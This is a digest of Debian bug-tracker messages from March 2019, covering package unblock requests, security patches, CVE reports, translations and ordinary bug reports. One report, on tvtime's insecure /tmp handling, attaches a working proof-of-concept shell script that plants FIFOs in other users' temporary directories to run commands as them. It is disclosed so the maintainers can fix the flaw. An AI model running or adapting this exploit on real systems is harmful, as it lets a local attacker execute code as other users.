Bug#924069: unblock: libsndfile/1.0.28-6

[IOhannes m zmoelnig]

Package: release.debian.org
Severity: normal
User: release.debian@packages.debian.org
Usertags: unblock

Please unblock package libsndfile

Recently a new security vulnerability (CVE-2019-3832) was discovered in
libsndfile (actually it was discovered that the fix for an older vulnerability
was incomplete).  This upload backports the fix.
Because it is a security related issue, i'd very much like to see it in buster.

(include/attach the debdiff against the package in testing)

unblock libsndfile/1.0.28-6

-- System Information:
Debian Release: buster/sid
  APT prefers unstable-debug
  APT policy: (500, 'unstable-debug'), (500, 'stable-updates'), (500, 
'unstable'), (500, 'stable'), (1, 'experimental')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 4.19.0-3-amd64 (SMP w/4 CPU cores)
Kernel taint flags: TAINT_WARN, TAINT_OOT_MODULE, TAINT_UNSIGNED_MODULE
Locale: LANG=C.UTF-8, LC_CTYPE=C.UTF-8 (charmap=UTF-8), LANGUAGE=C.UTF-8 
(charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled
diff -Nru libsndfile-1.0.28/debian/changelog libsndfile-1.0.28/debian/changelog
--- libsndfile-1.0.28/debian/changelog  2019-02-12 15:59:58.0 +0100
+++ libsndfile-1.0.28/debian/changelog  2019-03-08 20:35:07.0 +0100
@@ -1,3 +1,9 @@
+libsndfile (1.0.28-6) unstable; urgency=medium
+
+  * Backported fix for out-of-bound reading (CVE-2019-3832) (Closes: #922372)
+
+ -- IOhannes m zmölnig (Debian/GNU)   Fri, 08 Mar 2019 
20:35:07 +0100
+
 libsndfile (1.0.28-5) unstable; urgency=medium
 
   [ Ondřej Nový ]
diff -Nru libsndfile-1.0.28/debian/patches/CVE-2017-6892.patch 
libsndfile-1.0.28/debian/patches/CVE-2017-6892.patch
--- libsndfile-1.0.28/debian/patches/CVE-2017-6892.patch2019-02-12 
15:59:58.0 +0100
+++ libsndfile-1.0.28/debian/patches/CVE-2017-6892.patch2019-03-08 
20:35:07.0 +0100
@@ -8,11 +8,9 @@
  src/aiff.c | 2 +-
  1 file changed, 1 insertion(+), 1 deletion(-)
 
-diff --git a/src/aiff.c b/src/aiff.c
-index 6352247..d0911a0 100644
 a/src/aiff.c
-+++ b/src/aiff.c
-@@ -1905,7 +1905,7 @@ aiff_read_chanmap (SF_PRIVATE * psf, unsigned dword)
+--- libsndfile.orig/src/aiff.c
 libsndfile/src/aiff.c
+@@ -1905,7 +1905,7 @@
psf_binheader_readf (psf, "j", dword - bytesread) ;
  
if (map_info->channel_map != NULL)
diff -Nru libsndfile-1.0.28/debian/patches/CVE-2019-3832.patch 
libsndfile-1.0.28/debian/patches/CVE-2019-3832.patch
--- libsndfile-1.0.28/debian/patches/CVE-2019-3832.patch1970-01-01 
01:00:00.0 +0100
+++ libsndfile-1.0.28/debian/patches/CVE-2019-3832.patch2019-03-08 
20:35:07.0 +0100
@@ -0,0 +1,21 @@
+From: Emilio Pozuelo Monfort 
+Date: Tue, 5 Mar 2019 11:27 +0100
+Subject: Fix for CVE-2019-3832
+
+Origin: https://github.com/erikd/libsndfile/pull/460
+Applied-Upstream: 
https://github.com/erikd/libsndfile/commit/7408c4c788ce047d4e652b60a04e7796bcd7267e
+---
+This patch header follows DEP-3: http://dep.debian.net/deps/dep3/
+--- libsndfile.orig/src/wav.c
 libsndfile/src/wav.c
+@@ -1094,6 +1094,10 @@
+   psf_binheader_writef (psf, "44", 0, 0) ; /* SMTPE format */
+   psf_binheader_writef (psf, "44", psf->instrument->loop_count, 
0) ;
+ 
++  /* Make sure we don't read past the loops array end. */
++  if (psf->instrument->loop_count > ARRAY_LEN 
(psf->instrument->loops))
++  psf->instrument->loop_count = ARRAY_LEN 
(psf->instrument->loops) ;
++
+   for (tmp = 0 ; tmp < psf->instrument->loop_count ; tmp++)
+   {   int type ;
+ 
diff -Nru libsndfile-1.0.28/debian/patches/series 
libsndfile-1.0.28/debian/patches/series
--- libsndfile-1.0.28/debian/patches/series 2019-02-12 15:59:58.0 
+0100
+++ libsndfile-1.0.28/debian/patches/series 2019-03-08 20:35:07.0 
+0100
@@ -2,6 +2,7 @@
 CVE-2017-8363.patch
 CVE-2017-8362.patch
 CVE-2017-6892.patch
+CVE-2019-3832.patch
 binheader-heapoverflow.patch
 fix_rf64_arm.patch
 fix_typos.patch
diff -Nru 
libsndfile-1.0.28/debian/patches/src-wav.c-Fix-heap-read-overflow.patch 
libsndfile-1.0.28/debian/patches/src-wav.c-Fix-heap-read-overflow.patch
--- libsndfile-1.0.28/debian/patches/src-wav.c-Fix-heap-read-overflow.patch 
2019-02-12 15:59:58.0 +0100
+++ libsndfile-1.0.28/debian/patches/src-wav.c-Fix-heap-read-overflow.patch 
2019-03-08 20:35:07.0 +0100
@@ -9,10 +9,8 @@
  src/wav.c | 4 +++-
  1 file changed, 3 insertions(+), 1 deletion(-)
 
-diff --git a/src/wav.c b/src/wav.c
-index 4b943dc..59015a1 100644
 a/src/wav.c
-+++ b/src/wav.c
+--- libsndfile.orig/src/wav.c
 libsndfile/src/wav.c
 @@ -1,5 +1,5 @@
  /*
 -** Copyright (C) 1999-2016 Erik de Castro Lopo 
@@ -20,9 +18,9 @@
  ** Copyright (C) 2004-2005 David Viens 
  **
  ** This program is free software; you can redistribute it and/or modify
-@@ -1094,6 +1094,8 @@ wav_write_header (SF_PRIVATE *psf, in

Bug#864070: xserver-xorg-core: consistently crashing on startup, unable to start X

[Harri Suutari]

Lately after having stability problems probably related to the Nvidia
driver, I decided to try the Nouveau driver again. At first I got the
same problem: Xorg crashing at startup. Then I edited xorg.conf and
commented out all the lines concerning the HDMI output (Device,
Monitor, Screen, ServerLayout), which I haven't been actually using,
and everything works again.

-- 


  Harri

Bug#916392: please provide a column marker mechanism

[Benno Schulenberg]

With some changes, the patch was pushed to master.

The option was renamed to --guidestripe (-J) as -e had meanwhile
been taken.  The default color is simply reverse video, like the
rest of nano's interface, which works fine.  The color can be
changed, though, with the nanorc option 'set stripecolor'.

Benno

Bug#838120: xdg-utils: xdg-mime broken on XFCE

[Michael Deegan]

Package: xdg-utils
Version: 1.1.1-1+deb9u1
Followup-For: Bug #838120
Tags: patch

xdg-mime should not just give up if neither gvfs-info nor gnomevfs-info are
present.

I therefore attach a trivial patch adding the obvious else statement, for
your consideration.

-- System Information:
Debian Release: 9.7
  APT prefers stable-updates
  APT policy: (500, 'stable-updates'), (500, 'oldstable-updates'), (500, 
'stable'), (500, 'oldstable'), (480, 'testing'), (470, 'unstable')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 4.19.0-1-amd64 (SMP w/4 CPU cores)
Locale: LANG=en_AU.utf8, LC_CTYPE=en_AU.utf8 (charmap=UTF-8), LANGUAGE=en_AU:en 
(charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

xdg-utils depends on no packages.

Versions of packages xdg-utils recommends:
pn  libfile-mimeinfo-perl  
pn  libnet-dbus-perl   
pn  libx11-protocol-perl   
ii  x11-utils  7.7+3+b1
ii  x11-xserver-utils  7.7+7+b1

Versions of packages xdg-utils suggests:
pn  gvfs-bin  

-- no debconf information
--- /usr/bin/xdg-mime	2018-05-20 17:44:40.0 +0800
+++ xdg-mime	2019-03-09 16:48:13.391515286 +0800
@@ -636,6 +636,10 @@
 elif gnomevfs-info --help 2>/dev/null 1>&2; then
 DEBUG 1 "Running gnomevfs-info \"$1\""
 gnomevfs-info --slow-mime "$1" 2> /dev/null | grep "^MIME" | cut -d ":" -f 2 | sed s/"^ "//
+else
+	# maybe we're not as Gnome-y as we think we are? Fall back to generic method.
+	DEBUG 1 "Falling back to generic method"	
+	info_generic "$@"
 fi
 
 if [ $? -eq 0 ]; then

Bug#924070: [pre-approval] unblock: nvidia-cuda-toolkit/10.1.105-1

[Graham Inggs]

Package: release.debian.org
Severity: normal
X-Debbugs-CC: pkg-nvidia-de...@lists.alioth.debian.org
User: release.debian@packages.debian.org
Usertags: unblock

Dear Release Team

Please consider a freeze exception for a new upstream release of
nvidia-cuda-toolkit.

Version 10.1 adds support for GCC 8 and Clang 7.  This will allow us
to drop gcc-7 from buster, as the only other packages needing gcc-7
are starpu and starpu-contrib (#924012) which will follow CUDA.

nvidia-cuda-toolkit is non-free and the build consists of unpacking
the pre-built binaries from upstream and repacking them into several
separate binary packages for Debian.  At this stage, 10.0 is in
experimental, and I still need to prepare the packaging for 10.1 and
have it go through NEW.

For what it is worth, Ubuntu completed the transition to 10.0 two
weeks ago, and I intend to test and complete the 10.1 transition there
as well before finally asking for an unblock for buster.

Regards
Graham

Bug#908894: [Debian lazygit] Go-team lazygit repo conflict issue

[dawidd0811]

Hello!

Thanks for reaching me out. To be honest I discovered your ITP after I've 
already pushed to this newly created salsa repo and was planning to contact 
you. Sorry about that, I'm still relatively new in Debian development world.

Sure. I'll be more than glad if you upload your work to the Go team repo.

And now we can split these remaining packages in half, so the work will be 
easier for both of us. What do you think?

On Mar 9, 2019 2:19 AM, Jongmin Kim  wrote:
>
> Dear Dawid Dziula, 
>
> Hi there! 
>
> I figured out that you created Salsa repository named 'lazygit'. 
>
> I think you have an intent for packaging the lazygit. I have ITP for 
> this package[1], and already worked some, so I'm contacting you. 
>
> [1] https://bugs.debian.org/908894 
>
> In fact, I have already done the lazygit packaging some month ago. 
> I pushed all of my work to [2] (with updated to latest: 0.7.2), checkout 
> please. 
>
> [2] https://salsa.debian.org/jmkim-guest/lazygit 
>
> The work includes: 
>   - Unvendor some dependencies which already in Debian. 
>   - Fix the hardening warnings by Lintian. 
>   - Fix for building reproducible. 
>
> If you not yet packaged all yet, could you let me upload my works? I'll 
> upload my work into the team's repository, and then we can do co-work. 
>
> Until now, I've been doing the job for packaging the vendored dependencies 
> in lazygit. As lazygit contains a lot of dependencies in its 'vendor' 
> directory, and Debian does not allow the embedded code copies[3], I'm 
> currently packaging the dependencies for split out from 'vendor'. At 
> present, around 48 packages are remaining[4]. 
>
> [3] https://wiki.debian.org/EmbeddedCodeCopies 
> [4] 
> https://salsa.debian.org/jmkim-guest/lazygit/blob/debian/sid/debian/copyright 
>
> Thank you! 
>
>
> -- 
> Jongmin Kim 
>
> OpenPGP key located at https://jongmin.dev/pgp 
> OpenPGP fingerprint: 012E 4A06 79E1 4EFC DAAE  9472 D39D 8D29 BAF3 6DF8 

Bug#924072: python3.7: CVE-2019-9636: urlsplit does not handle NFKC normalization

[Salvatore Bonaccorso]

Source: python3.7
Version: 3.7.2-3
Severity: important
Tags: security upstream
Forwarded: https://bugs.python.org/issue36216
Control: clone -1 -2
Control: found -1 3.7.2-2
Control: reassign -2 src:python2.7 2.7.16-1
Control: retitle -2 python2.7: CVE-2019-9636: urlsplit does not handle NFKC 
normalization
Control: found -2 2.7.16~rc1-1
Control: found -2 2.7.13-2+deb9u3
Control: found -2 2.7.13-2

Hi,

The following vulnerability was published for python3.7.

CVE-2019-9636[0]:
| Python 2.7.x through 2.7.16 and 3.x through 3.7.2 is affected by:
| Improper Handling of Unicode Encoding (with an incorrect netloc) during
| NFKC normalization. The impact is: Information disclosure (credentials,
| cookies, etc. that are cached against a given hostname). The components
| are: urllib.parse.urlsplit, urllib.parse.urlparse. The attack vector
| is: A specially crafted URL could be incorrectly parsed to locate
| cookies or authentication data and send that information to a different
| host than when parsed correctly.

If you fix the vulnerability please also make sure to include the
CVE (Common Vulnerabilities & Exposures) id in your changelog entry.

For further information see:

[0] https://security-tracker.debian.org/tracker/CVE-2019-9636
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9636
[1] https://bugs.python.org/issue36216
[2] 
https://github.com/python/cpython/commit/e37ef41289b77e0f0bb9a6aedb0360664c55bdd5
 (2.7.x)
[3] 
https://github.com/python/cpython/commit/daad2c482c91de32d8305abbccc76a5de8b3a8be
 (3.7.x)

Please adjust the affected versions in the BTS as needed.

Regards,
Salvatore

Bug#924074: /etc/cron.daily/cracklib-runtime: Please drop/replace the cron job

[Andreas Henriksson]

Package: cracklib-runtime
Version: 2.9.6-2
Severity: normal
File: /etc/cron.daily/cracklib-runtime

Dear Maintainer,

I was looking over the installed cron jobs on my machine and noticed
/etc/cron.daily/cracklib-runtime which I think would be better if
it simply did not exist.

I really wonder what purpose running update-cracklib every day serves.
There must be a better solution.

While I'm not familiar with how cracklib works internally please let
me speculate on the different ways things could be affected by this
cronjobs existance or not.

Usecase: sysadm installs a new dictionary via a package, the package
postinst script most likely triggers the update-cracklib (or even better
if dpkg triggers are used which would likely be more effective).

Usecase: sysadm drops a file into a directory to use it as a
dictionary. Waits an entire days before its actually usable. E!
Wait, why would someone do this? Ofcourse they're going to manually
run update-cracklib so the dictonary becomes available at once, thus no
cron job needed.

I'm having a hard time coming up with more usecases. Please tell me what
purpose the cronjob serves. If the cron job gets removed the 99.99%
of all users who had this installed via some dependency chain would
not waste resources, possibly battery time, etc.

Regards,
Andreas Henriksson


PS. if dropping the cronjob, please make sure to rm_conffile it so it
doesn't linger on upgrades and also drop this sentence from the manpage:
"By default this script is called by cron every day."

-- System Information:
Debian Release: buster/sid
  APT prefers unstable-debug
  APT policy: (500, 'unstable-debug'), (500, 'testing-debug'), (500, 
'unstable'), (1, 'experimental-debug'), (1, 'experimental')
Architecture: amd64 (x86_64)
Foreign Architectures: armhf

Kernel: Linux 4.19.0-3-amd64 (SMP w/4 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8), 
LANGUAGE=en_US:en (charmap=UTF-8)
Shell: /bin/sh linked to /usr/bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages cracklib-runtime depends on:
ii  file   1:5.35-4
ii  libc6  2.28-8
ii  libcrack2  2.9.6-2

Versions of packages cracklib-runtime recommends:
ii  wamerican [wordlist]  2018.04.16-1

cracklib-runtime suggests no packages.

-- no debconf information

Bug#924075: software-properties-gtk problem with long list scrolling in other software tab

[Cyrille]

Package: software-properties-gtk
Version: 0.96.24.32.5

$ uname -a
Linux W54 4.15.0-42-generic #45-Ubuntu SMP Thu Nov 15 19:32:57 UTC 2018
x86_64 x86_64 x86_64 GNU/Linux


Dear Maintainer,
Problem:
If you have a long list of repo in Other Software tab, and you scroll
till the end of the list, you stick or unstick a repo, then the windows
go on the top of the list. And if you want to stick or unstick multiples
repositories it is very annoying. You must scroll all times till the end
of the list.
what expected: unstick a line, and windows stay on the same place (not
turn to the top)

The problem is the same if you want tu remove a line.

Bug#924063: sway: Configure x-terminal-emulator as $term or add urxvt (and suckless-tools) to recommends and fix keyboard layout.

[Birger Schacht]

Control: confirmed -1

Hello Javier,

thanks a lot for testing sway and sending feedback!

On 3/9/19 1:08 AM, Javier Barroso wrote:
> If you have not installed urxvt and/or suckless-tools (for dmenu) you will
> not be
> able to launch any app from sway with default config (at least for my
> knowledge)
> 
> So I'm proposing to add suckless-tools to recommended packages, and
> changing in the default config urxvt to x-terminal-emulator (or adding
> urxvt to the recommended list)
Ah, you're right, dmenu should definitly be installed- for the terminal
i guess i'll patch the config (and recommend rxvt-unicode |
x-terminal-emulator, as it is done with i3-wm)

> Maybe worth of mention on a (new) README.Debian (or similar) that if you
> want to have
> a different layout keyboard than the default (english), you need to add
> XKB_DEFAULT_LAYOUT to the languaje preferred, at my case:
> 
> $ cat /etc/environment.d/99sway.conf
> XKB_DEFAULT_LAYOUT=es
> 
> Not sure how awesome (or others wm) solve this problem. Maybe the
> correct solution is another.
You can do input configuration in your sway config- you can get a list
of inputs with swaymsg -t get_inputs and configure the layout for the
keyboard using:
input  {
xkb_layout us,de
xkb_variant ,nodeadkeys
xkb_options grp:alt_shift_toggle
}

in your config file (at least thats what the sway FAQ suggests
(https://github.com/swaywm/sway/wiki)

cheers,
Birger

Bug#924076: tvtime: insecure use of /tmp

[Jakub Wilk]

Package: tvtime
Version: 1.0.11-4
Severity: grave
Tags: security

tvtime uses /tmp/.TV-/ as a temporary directory, even when it 
belongs to another (potentially malicious) user. Local attacker can 
exploit this bug to execute arbitrary code in the context of a tvtime 
user.


I've attached a proof-of-concept exploit.

--
Jakub Wilk
#!/bin/sh
set -e -u
if ! command -v xeyes > /dev/null
then
printf 'xeyes(1) not found. Please install x11-apps.\n' >&2
exit 1
fi
cd /tmp
basedir=$(mktemp -d tvtime-exploit.XX)
chmod 755 "$basedir"
mkfifo -m 644 "$basedir/cmd"
mkfifo -m 666 "$basedir/ratelim"
hostname=$(hostname)
users=$(getent passwd | cut -d: -f1)
for user in $users
do
userdir=".TV-$user"
rm -rf "$userdir" || true  # maybe stale dir from the previous exploit run?
if ! mkdir -m 755 "$userdir"
then
printf 'Failed to mount the exploit against %s; Maybe try again after 
reboot?\n' "$user"
continue
fi
ln "$basedir/cmd" "$userdir/tvtimefifo-$hostname"
done
while true
do
printf 'Waiting for the victim to run tvtime...' "$0" >&2
printf 'RUN_COMMAND xeyes && echo x > /tmp/%s; true\n' "$basedir/ratelim" > 
"$basedir/cmd"
printf '\n' >&2
read x < "$basedir/ratelim"
done

Bug#921266: Could this simple typo be the reason: "ream" <-> "realm"?

[Alf]

I now tried to collect debug info with the cli-version - it crashes the
same way with segfault:

linphonec -d 5 -l linphone-debug

the last lines in the debug output after password enty and before crash are:

Authentication-Info:
qop=auth,rspauth="4aa9ccf88b3958bb460174863eccbb82",cnonce="0us2EQTtqGWgU6LP",nc=0001


2019-03-08 22:17:07:834 ortp-message-channel [0x55f42b920dd0] [721]
bytes parsed
2019-03-08 22:17:07:834 ortp-message-Found transaction matching response.
2019-03-08 22:17:07:834 ortp-message-Updating auth context for ream
[tel.t-online.de] next nonce is going to be [(null)]

Please note the very last line:

it wants to update auth for "ream"
  instead of "realm"

I cannot decide if this is just a typo in text output or actually a
wrong named parameter. This auth cycle is the second one which probably
only is used by German Telekom?

If more information is needed, please let me know

Fopr completeness I do attach the whole debug output as a plain txt-file
named linphone-debug.





 Debug output from cli-version when trying to
 register. Startup until crash with segfault.

linphonec -d 5 -l linphone-debug



2019-03-08 22:16:46:419 ortp-message-Using (r/w) config information from 
/home/ingo/.linphonerc
2019-03-08 22:16:46:419 ortp-message-Initializing LinphoneCore 3.12.0
2019-03-08 22:16:46:419 ortp-message-Core callbacks [0x55f42b819260] registered 
on core [0x55f42b824480]
2019-03-08 22:16:46:420 ortp-message-Core callbacks [0x55f42b818310] registered 
on core [0x55f42b824480]
2019-03-08 22:16:46:420 ortp-message-oRTP-1.0.2 initialized.
2019-03-08 22:16:46:420 ortp-message-Mediastreamer2 factory 2.16.1 (git: 
unknown) initialized.
2019-03-08 22:16:46:420 ortp-message-CPU count set to 4
2019-03-08 22:16:46:420 ortp-message-ms_factory_init() done: 
platform_tags=linux,x86,desktop
2019-03-08 22:16:46:420 ortp-message-srtp init
2019-03-08 22:16:46:420 ortp-message-Registering all soundcard handlers
2019-03-08 22:16:46:421 ortp-message-New PulseAudio context state: 
PA_CONTEXT_CONNECTING
2019-03-08 22:16:46:421 ortp-message-New PulseAudio context state: 
PA_CONTEXT_AUTHORIZING
2019-03-08 22:16:46:421 ortp-message-New PulseAudio context state: 
PA_CONTEXT_SETTING_NAME
2019-03-08 22:16:46:422 ortp-message-New PulseAudio context state: 
PA_CONTEXT_READY
2019-03-08 22:16:46:422 ortp-message-Card 'PulseAudio: Internes Audio Analog 
Stereo' added with capabilities [capture, playback]
2019-03-08 22:16:46:422 ortp-message-Card 'PulseAudio: Webcam C270 Analog Mono' 
added with capabilities [capture]
2019-03-08 22:16:46:437 ortp-message-Card 'ALSA: default device' added with 
capabilities [capture, playback]
2019-03-08 22:16:46:437 ortp-message-Registering all webcam handlers
2019-03-08 22:16:46:505 ortp-message-Webcam V4L2: /dev/video0 added
2019-03-08 22:16:48:980 ortp-message-Webcam V4L2: /dev/video2 added
2019-03-08 22:16:48:980 ortp-message-Webcam StaticImage: Static picture added
2019-03-08 22:16:48:980 ortp-message-ms_factory_init_voip() done
2019-03-08 22:16:48:980 ortp-message-Loading ms plugins from 
[/usr/lib/x86_64-linux-gnu/mediastreamer/plugins]
2019-03-08 22:16:48:980 ortp-message-Cannot open directory 
/usr/lib/x86_64-linux-gnu/mediastreamer/plugins: No such file or directory
2019-03-08 22:16:48:980 ortp-message-Codec opus/48000 fmtp=[useinbandfec=1] 
number=-1, default enablement: 1) added to the list of possible codecs.
2019-03-08 22:16:48:980 ortp-message-Codec SILK/16000 fmtp=[] number=-1, 
default enablement: 1) added to the list of possible codecs.
2019-03-08 22:16:48:980 ortp-message-Codec speex/16000 fmtp=[vbr=on] number=-1, 
default enablement: 1) added to the list of possible codecs.
2019-03-08 22:16:48:980 ortp-message-Codec speex/8000 fmtp=[vbr=on] number=-1, 
default enablement: 1) added to the list of possible codecs.
2019-03-08 22:16:48:980 ortp-message-Codec PCMU/8000 fmtp=[] number=0, default 
enablement: 1) added to the list of possible codecs.
2019-03-08 22:16:48:980 ortp-message-Codec PCMA/8000 fmtp=[] number=8, default 
enablement: 1) added to the list of possible codecs.
2019-03-08 22:16:48:980 ortp-message-Codec red/1000 fmtp=[] number=-1, default 
enablement: 1) added to the list of possible codecs.
2019-03-08 22:16:48:980 ortp-message-Codec t140/1000 fmtp=[] number=-1, default 
enablement: 1) added to the list of possible codecs.
2019-03-08 22:16:48:980 ortp-message-Codec GSM/8000 fmtp=[] number=3, default 
enablement: 0) added to the list of possible codecs.
2019-03-08 22:16:48:981 ortp-message-Codec G722/8000 fmtp=[] number=9, default 
enablement: 0) added to the list of possible codecs.
2019-03-08 22:16:48:981 ortp-message-Codec iLBC/8000 fmtp=[mode=30] number=-1, 
default enablement: 0) added to the list of possible codecs.
2019-03-08 22:16:48:981 ortp-message-Codec AMR/8000 fmtp=[octet-align=1] 
number=-1, default enablement: 0) added to the list of possi

Bug#924045: unblock: smcroute/2.4.2-4

[Jonathan Wiltshire]

Control: tag -1 confirmed moreinfo

On Fri, Mar 08, 2019 at 09:35:29PM +0100, Micha Lenk wrote:
> Because of the included cosmetic changes, the package isn't uploadede to
> unstable yet. It is currently only available on mentors.d.n as
> https://mentors.debian.net/debian/pool/main/s/smcroute/smcroute_2.4.2-4.dsc

Please go ahead and remove the moreinfo tag when it is ready to unblock.

Thanks,

-- 
Jonathan Wiltshire  j...@debian.org
Debian Developer http://people.debian.org/~jmw

4096R: 0xD3524C51 / 0A55 B7C5 1223 3942 86EC  74C3 5394 479D D352 4C51

Bug#924077: mini-buildd: sbuild-update has no option --keygen

[itd]

Package: mini-buildd
Version: 1.0.36
Severity: normal
Tags: upstream

Dear Maintainer,

sbuild (>= 0.77.0) no longer supports `sbuild-update` option `--keygen` 
[1].
However, mini-buildd attempts to use that option [2]. (In my case, this 
caused

build failures for archive keyring packages. My current workaround is
`touch /var/lib/sbuild/apt-keys/sbuild-key.pub`.)

Please update mini-buildd to support sbuild >= 0.77.0.

Thanks for your work!

Regards,
itd

[1]: 
https://salsa.debian.org/debian/sbuild/blob/0de488eb6a1d488df17d1a86b76d6315a1c51c86/ChangeLog.in#L59
[2]: 
https://sources.debian.org/src/mini-buildd/1.0.36/src/mini_buildd/call.py/?hl=192#L192

Bug#924053: live-build: UEFI shows grub> on HP250 G6 2SX60EA

[adrian15]

Hello,

  I think I have figured out why this build refuses to boot in my system.

This is a very strange corner case.


1. Requirements to trigger the bug
1.1. First of all you need to have:

Either a brand-new HP 250 G6 at hand (e.g. no operating has been
installed despite what comes from HP itself).

Or recreate what I'm going to tell you in a FAT32 partition in your
internal hard disk.
I think an ext4 partition might do it also.

In one of your internal hard disk partitions you have:
/live/vmlinuz # Doesn't matter the contents. You can have a 0 byte size
file if you want to.

These same internal hard disk partition does not have to have a
/boot/grub/grub.cfg file.
This is very important.

1.2. Second thing that you need is using current git head with my
foreign architectures patch (which it helps triggering the bug but it's
not the main reason of it).

https://github.com/rescatux/live-build/tree/foreign-architecture-support-salsa2019-quicktest5

Using the git head sets the Secure Boot support as auto, I mean, enabled
by default.

1.3. Third thing you need is to choose:

--bootloaders syslinux,grub-efi

this makes sure that the binary_syslinux script is run.
This is very important.

1.4. Fourth thing you need is to force the use of two architectures
kernels which, now with my patch, is done with:
--linux-flavours 'amd64:amd64 686'

1.5. Fifth thing you need is to build a buster image so that the amd64
signed packages are indeed downloaded.
And maybe you need to build all of this from a buster
installation/chroot (not sure about that).

1.6. I also build the i386 arch (so that 686 and amd64 makes sense)
although I'm not sure it's required for reproducing the bug.
So the option would be:

-a i386

2. Quick code review

2.1.) When you use Secure Boot shim signed is loaded which in turn tries
to load grubx64.efi .
Somewhere in between something fails (or works as expected, I don't know
very much about this one) and the boot process fallsback to this image:

/boot/grub/efi.img
or maybe
/efi.img

on the usb.

Anyways this efi.img has inside of it three files:
EFI/boot/bootia32.efi
EFI/boot/bootx64.efi
boot/grub/grub.cfg

So, let's take a look at: boot/grub/grub.cfg file.

search --set=root --file /live/vmlinuz
set prefix=($root)/boot/grub
configfile ($root)/boot/grub/grub.cfg

This file assumes two things:

2.1.1)  The live cd media will be the first one to be found by the
grub's search command. That's ok, that will work in most systems.
A random filename for each build for detecting live cd media might be a
better approach but... this does not have anything to do with this bug.

2.1.2) This exact file exists: /live/vmlinuz in the live cd media.
This second assumption is wrong in my corner case scenario as you will
see later.

2.2) When two kernels flavorus are requested and syslinux is used as a
bootloader this code is triggered:
https://salsa.debian.org/live-team/live-build/blob/f242323fa246840ba9581586ad78a8301629d84c/scripts/build/binary_syslinux#L171-196

*)
_NUMBER="0"

for _FLAVOUR in ${LB_LINUX_FLAVOURS}
do
_NUMBER="$((${_NUMBER} + 1))"

ln binary/${_INITRAMFS}/vmlinuz-*-${_FLAVOUR}
binary/${_INITRAMFS}/vmlinuz${_NUMBER}
ln binary/${_INITRAMFS}/initrd.img-*-${_FLAVOUR}
binary/${_INITRAMFS}/initrd${_NUMBER}.img

if [ "${_NUMBER}" -gt 1 ]
then
echo "" >> "${_TARGET}/live.cfg"
grep -v 'menu default' 
"${_TARGET}/live.cfg.in" >>
"${_TARGET}/live.cfg"
else
cat "${_TARGET}/live.cfg.in" >> 
"${_TARGET}/live.cfg"
fi

sed -i -e "s|@FLAVOUR@|${_FLAVOUR}|g" \
   -e 
"s|@LINUX@|/${_INITRAMFS}/vmlinuz${_NUMBER}|g" \
   -e 
"s|@INITRD@|/${_INITRAMFS}/initrd${_NUMBER}.img|g" \
"${_TARGET}/live.cfg"
done

rm -f "${_TARGET}/live.cfg.in"
;;

instead of the default code (when only linux flavour is set):

https://salsa.debian.org/live-team/live-build/blob/f242323fa246840ba9581586ad78a8301629d84c/scripts/build/binary_syslinux#L157-169

1)
# If multiple initrd images are being generated (by 
DKMS packages, etc),
# we likely only want the latest version.
ln $(ls -r1 --sort=version 
binary/${_INITRAMFS}/vmlinuz-* | head -n
1) binary/${_INITRAMFS}/vmlinuz
ln $(ls -r1 --sort=version 
binary/${_INITRAMFS}/initrd.img-* | head
-n 1) binary/${_INITRAMFS}/initrd.img

   

Bug#912035: pymongo FTBFS: pymongo.errors.ConfigurationError: Private key doesn't match certificate: [SSL: CA_MD_TOO_WEAK] ca md too weak (_ssl.c:2779)

[Chris Lamb]

Hi,

> pymongo FTBFS: pymongo.errors.ConfigurationError: Private key doesn't match 
> certificate: [SSL: CA_MD_TOO_WEAK] ca md too weak (_ssl.c:2779)

  $ openssl x509 -text -noout -in ./test/certificates/ca.pem | grep -i Signature
  Signature Algorithm: sha1WithRSAEncryption
   

(etc.)


Regards,

-- 
  ,''`.
 : :'  : Chris Lamb
 `. `'`  la...@debian.org / chris-lamb.co.uk
   `-

Bug#924078: pymongo: Please update Homepage field

[Chris Lamb]

Source: pymongo
Version: 3.7.1-1
Severity: minor
Tags: patch

Hi,

Please update Homepage field. Patch attached.


Regards,

-- 
  ,''`.
 : :'  : Chris Lamb
 `. `'`  la...@debian.org - chris-lamb.co.uk
   `-
diff --git a/debian/control b/debian/control
index 11fb772..42d538e 100644
--- a/debian/control
+++ b/debian/control
@@ -12,7 +12,7 @@ Build-Depends: debhelper (>= 11~),
 Standards-Version: 4.2.0
 X-Python-Version: >= 2.7
 X-Python3-Version: >= 3.5
-Homepage: http://api.mongodb.org/python/
+Homepage: https://api.mongodb.com/python/current/
 Vcs-Git: https://salsa.debian.org/debian/pymongo.git
 Vcs-Browser: https://salsa.debian.org/debian/pymongo
 Testsuite: autopkgtest-pkg-python

Bug#924079: minissdpd: [INTL:fr] French debconf templates translation

[Jean-Pierre Giraud]

Package: minissdpd
Severity: wishlist
Tags: patch l10n

Hi!

Please find attached the french translation, proofread
by the debian-l10n-french mailing list contributors.

This file should be put as debian/po/fr.po in your package build tree.

Kind Regards

jipege


fr.po.gz
Description: application/gzip

Bug#924080: neutron-fwaas [INTL:fr] French debconf templates translation

[Jean-Pierre Giraud]

Package: neutron-fwaas
Severity: wishlist
Tags: patch l10n

Hi!

Please find attached the french translation, proofread
by the debian-l10n-french mailing list contributors.

This file should be put as debian/po/fr.po in your package build tree.

Kind Regards

jipege


fr.po.gz
Description: application/gzip

Bug#924081: The extra test argument should be added after the package list

[Shengjing Zhu]

Package: dh-golang
Severity: normal

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA512

Usually we pass extra test flags like this

```
override_dh_auto_test:
dh_auto_test -- -myflag balabala
```

And expect the extra flags are consumed by `go test` command.

dh-golang construct the `go test` with:

```
$this->doit_in_builddir("go", "test", "-vet=off", "-v", @_, get_targets());
```

`@_` is before `get_targets()`.


However from the doc(`go test -h`),

> The command-line package list, if present, must appear before any
> flag not known to the go test command. Continuing the example above,
> the package list would have to appear before -myflag, but could appear
> on either side of -v.

This means we can't pass any custom flag to go test.

I would suggest dh-golang to construct command with:

```
